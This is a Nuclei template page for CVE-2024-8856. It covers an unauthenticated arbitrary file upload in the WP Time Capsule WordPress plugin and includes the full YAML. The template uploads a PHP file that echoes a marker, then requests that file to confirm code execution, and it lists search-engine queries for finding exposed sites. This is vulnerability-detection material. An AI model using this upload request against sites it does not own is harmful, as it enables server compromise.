Skip to content
Nuclei Templates

WP Time Capsule Plugin - Remote Code Execution

ID: CVE-2024-8856

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce

Description

Section titled “Description”

The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.

YAML Source

Section titled “YAML Source”
id: CVE-2024-8856


info:
  name: WP Time Capsule Plugin - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  reference:
    - https://hacked.be/posts/CVE-2024-8856
    - https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php
    - https://plugins.trac.wordpress.org/changeset/3188325/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8856
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8856
    cwe-id: CWE-434
    epss-score: 0.00065
    epss-percentile: 0.3056
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/wp-time-capsule/"
    publicwww-query: "/wp-content/plugins/wp-time-capsule/"
  tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce


variables:
  marker: "{{randstr}}"
  filename: "{{randbase(2)}}"


flow: http(1) && http(2)


http:
  - raw:
      - |
        POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688


        -----------------------------26670583928903275361770089688
        Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
        Content-Type: text/php


        <?php echo base64_decode("{{base64(marker)}}"); ?>
        -----------------------------26670583928903275361770089688--


    matchers:
      - type: word
        part: body
        words:
          - 'url":"'
          - '"files":'
          - '"deleteType":'
        condition: and
        internal: true


  - raw:
      - |
        GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"
# digest: 4a0a00473045022004e274b6bb3271e6aa7e2289d80740454546204a4a78e4fb9ec7f9b9954ff9db022100a6fcac880ce5e51a2f6b3a263d675af4e77b80b543272c35f5d5810ccd95726d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8856.yaml"

View on Github